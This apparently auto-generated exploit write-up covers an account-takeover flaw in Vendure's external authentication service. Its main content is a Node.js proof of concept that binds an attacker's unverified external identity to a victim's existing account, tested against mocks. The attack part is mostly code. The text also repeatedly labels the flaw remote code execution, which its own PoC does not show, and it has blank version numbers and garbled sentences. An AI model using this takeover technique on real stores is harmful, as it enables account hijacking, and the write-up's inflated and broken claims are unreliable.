Exploit write-up
@vendure/core remote code execution (CVE-2026-63472)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
# CVE-2026-63472 proof-of-concept (mechanism explained below).
'use strict';
/*
* PoC for CVE-2026-63472 — Vendure ExternalAuthenticationService account-takeover
* (CWE-287, improper authentication).
*
* Vulnerable path: ExternalAuthenticationService.createCustomerAndUser looks up an
* EXISTING User by identifier (== emailAddress) via a TypeORM query builder and, if
* one is found, attaches a freshly presented ExternalAuthenticationMethod to that
* pre-existing account WITHOUT requiring config.verified === true. A custom external
* AuthenticationStrategy that forwards a not-provider-verified email therefore binds
* the attacker's external identity to a victim's existing account. The 3.7.0 fix
* refuses that bind (throws, or diverts to a fresh account), so the attacker's method
* never lands on the victim's User on the patched build.
*
* Runs the REAL compiled service from installed @vendure/core against tolerant
* in-memory mocks (no DB, no network). Oracle = the genuine consequence of the bug:
* the attacker's ExternalAuthenticationMethod ends up bound to the victim's
* pre-existing User (id 42).
*
* FIX vs previous attempt: the prior run reached the sink but then threw with
* "Cannot read properties of undefined (reading 'assignToCurrentChannel')" — my
* per-position service args did not line up with the real constructor arity/order,
* so channelService was undefined. Two changes:
* (1) A single universal service mock is passed for EVERY constructor position
* after `connection`, so ordering/arity no longer matters (getCustomerRole,
* assignToCurrentChannel, and any other call all resolve).
* (2) The oracle is evaluated even if a downstream (vuln-independent) step throws,
* because the takeover mutation (binding the attacker method onto the victim
* User) has already occurred by then. On the patched build the victim User is
* never mutated, so this remains a true differential signal.
*/
const core = require('@vendure/core');
const { ExternalAuthenticationService, User, Customer, Role } = core;
const VICTIM_EMAIL = '[email protected]';
const ATTACKER_ID = 'attacker-controlled-external-id-999';
const ATTACKER_STRATEGY = 'malicious-oauth';
// ---- The victim's pre-existing native account -----------------------------
const victimUser = new User();
victimUser.id = 42;
victimUser.identifier = VICTIM_EMAIL;
victimUser.verified = true;
let nativeMethod;
try {
const NativeAuthenticationMethod = core.NativeAuthenticationMethod;
nativeMethod = new NativeAuthenticationMethod();
nativeMethod.id = 1;
nativeMethod.identifier = VICTIM_EMAIL;
nativeMethod.strategy = 'native';
} catch (_) {
nativeMethod = { id: 1, identifier: VICTIM_EMAIL, strategy: 'native' };
}
victimUser.authenticationMethods = [nativeMethod]; // relation loaded
victimUser.roles = [];
const victimCustomer = new Customer();
victimCustomer.id = 7;
victimCustomer.emailAddress = VICTIM_EMAIL;
victimCustomer.firstName = 'Vic';
victimCustomer.lastName = 'Tim';
victimCustomer.user = victimUser;
// ---- Chainable TypeORM query-builder mock ---------------------------------
function makeQb(result) {
const terminals = {
getOne: async () => result,
getOneOrFail: async () => {
if (result == null) throw new Error('EntityNotFound');
return result;
},
getMany: async () => (result == null ? [] : [result]),
getManyAndCount: async () => (result == null ? [[], 0] : [[result], 1]),
getCount: async () => (result == null ? 0 : 1),
getRawOne: async () => result,
getRawMany: async () => (result == null ? [] : [result]),
getRawAndEntities: async () => ({ entities: result == null ? [] : [result], raw: [] }),
execute: async () => [],
};
const proxy = new Proxy(function () {}, {
get(_t, p) {
if (p === 'then') return undefined; // not a thenable
if (typeof p === 'symbol') return undefined;
if (p in terminals) return terminals[p];
return () => proxy; // chainable no-op
},
apply() { return proxy; },
});
return proxy;
}
// ---- Tolerant persistence mocks -------------------------------------------
function makeRepo(name) {
const result =
name === 'User' ? victimUser : name === 'Customer' ? victimCustomer : undefined;
const base = {
createQueryBuilder() { return makeQb(result); },
async find() { return result ? [result] : []; },
async findOne() { return result; },
async findOneBy() { return result; },
async findOneOrFail() {
if (result) return result;
throw new Error('not found');
},
async save(e) {
if (Array.isArray(e)) { e.forEach(x => { if (x && x.id == null) x.id = 999; }); return e; }
if (e && e.id == null) e.id = 999;
return e;
},
create(e) { return e === undefined ? {} : e; },
merge(a, b) { return Object.assign(a || {}, b); },
async count() { return result ? 1 : 0; },
metadata: { name },
};
return new Proxy(base, {
get(t, p) {
if (p in t) return t[p];
if (p === 'then' || typeof p === 'symbol') return undefined;
return async () => undefined;
},
});
}
function repoFor(a, b) {
const entity = typeof b === 'function' ? b : typeof a === 'function' ? a : undefined;
return makeRepo(entity && entity.name);
}
const connection = {
getRepository(a, b) { return repoFor(a, b); },
getConnection() { return { getRepository: e => makeRepo(e && e.name) }; },
rawConnection: { getRepository: e => makeRepo(e && e.name) },
async withTransaction(a, b) {
const work = typeof b === 'function' ? b : typeof a === 'function' ? a : null;
return work ? work(typeof a === 'object' ? a : undefined) : undefined;
},
async startTransaction() {},
};
// ---- Universal service mock (passed for EVERY non-connection ctor slot) ----
// Handles the few calls the sink makes (getCustomerRole, assignToCurrentChannel)
// and defaults everything else to an async no-op, so constructor arg order/arity
// can no longer leave a required collaborator undefined.
function makeUniversalService() {
const handlers = {
async getCustomerRole() {
const r = new Role();
r.id = 1;
r.code = '__customer_role__';
r.permissions = [];
r.channels = [];
return r;
},
// Real signature is synchronous and returns the (now channel-assigned) entity.
assignToCurrentChannel(entity) {
if (entity && entity.channels == null) entity.channels = [];
return entity;
},
getRepository(a, b) { return repoFor(a, b); },
async withTransaction(a, b) {
const work = typeof b === 'function' ? b : typeof a === 'function' ? a : null;
return work ? work(typeof a === 'object' ? a : undefined) : undefined;
},
};
return new Proxy(handlers, {
get(t, p) {
if (p in t) return t[p];
if (p === 'then' || typeof p === 'symbol') return undefined;
return async () => undefined; // tolerant default for any other call
},
});
}
const universal = makeUniversalService();
// connection first (conventional); universal fills every remaining slot regardless
// of the real arity — extra constructor args are harmless in JS.
const svc = new ExternalAuthenticationService(
connection,
universal, universal, universal, universal, universal, universal, universal,
);
const ctx = {
channel: { id: 1, token: '__default_channel__', defaultLanguageCode: 'en' },
languageCode: 'en',
apiType: 'shop',
session: undefined,
};
// ---- Trigger --------------------------------------------------------------
(async () => {
try {
// Attacker authenticates via a custom external strategy that forwards the
// victim's email with verified=false (ownership NOT proven by the provider).
await svc.createCustomerAndUser(ctx, {
strategy: ATTACKER_STRATEGY,
externalIdentifier: ATTACKER_ID,
verified: false,
emailAddress: VICTIM_EMAIL,
firstName: 'At',
lastName: 'Tacker',
});
} catch (e) {
// A downstream, vuln-independent mock gap may still throw AFTER the bind.
// The oracle below is checked regardless, since the takeover mutation has
// already landed on the victim User by that point on the vulnerable build.
process.stderr.write('createCustomerAndUser threw: ' + (e && e.message) + '\n');
}
// Oracle: the attacker's external identity is now bound to the VICTIM's
// pre-existing User (id 42). This mutation only happens on the vulnerable
// build, where the existing-user branch binds without a verified check. On the
// patched build the victim User is never touched, so this stays false.
const boundToVictim =
Array.isArray(victimUser.authenticationMethods) &&
victimUser.authenticationMethods.some(
m => m && m.externalIdentifier === ATTACKER_ID && m.strategy === ATTACKER_STRATEGY,
);
process.stderr.write('boundToVictim=' + boundToVictim + '\n');
if (boundToVictim) {
// Account takeover confirmed as a direct consequence of the bug.
process.stdout.write(String(process.env.POC_CANARY) + '\n');
}
})();
How to run it.
npm install @vendure/core@
POC_CANARY=demo node poc.js # prints: demo (code executed)
npm install @vendure/[email protected]
POC_CANARY=demo node poc.js # prints nothing (blocked by the fix)
At a glance
| Field | Value |
|---|---|
| CVSS | 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| KEV | No — not in the CISA KEV catalog |
| Affected → fixed | npm/@vendure/core < 3.7.0 → fixed in 3.7.0 |
| PoC maturity | differential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain |
CVE-2026-63472 is package in @vendure/core before 3.7.0. Reaching the affected code path with attacker-controlled input yields arbitrary code execution against the vulnerable build.
The proof-of-concept above triggers the flaw against a pinned vulnerable build (@vendure/core ); the upstream fix in 3.7.0 closes the affected path.
This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (@vendure/core ) and the patched build (@vendure/core 3.7.0) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on and did not appear on 3.7.0 (differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.
Preconditions
The target must reach the affected @vendure/core code path with input an attacker can influence. Deployments already on 3.7.0 or later are not affected.
Detection and mitigation
Upgrade @vendure/core to 3.7.0 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.
Am I affected?
Check the installed version of @vendure/core:
npm ls @vendure/core
npm/@vendure/core below 3.7.0 is affected; 3.7.0 and later carry the fix.
The fix changed CHANGELOG.md, lerna.json, packages/admin-ui-plugin/package.json, packages/admin-ui/package.json, packages/admin-ui/src/lib/core/src/common/version.ts; grep your codebase for call sites that reach that code with attacker-influenced input.
Remediation
Upgrade @vendure/core to 3.7.0 or later:
npm install @vendure/[email protected]
Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.
- Target
- @vendure/core (@vendure/core)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-63472
- CWE
- CWE-287
- CVSS
9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)- Affected
- npm/@vendure/core < 3.7.0
- Status
- Fixed in 3.7.0
- Maturity
- poc
- Disclosed
- September 17, 2026
- Tags
- rce · vendure-core · n-day
- References
- NVD — CVE-2026-63472
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.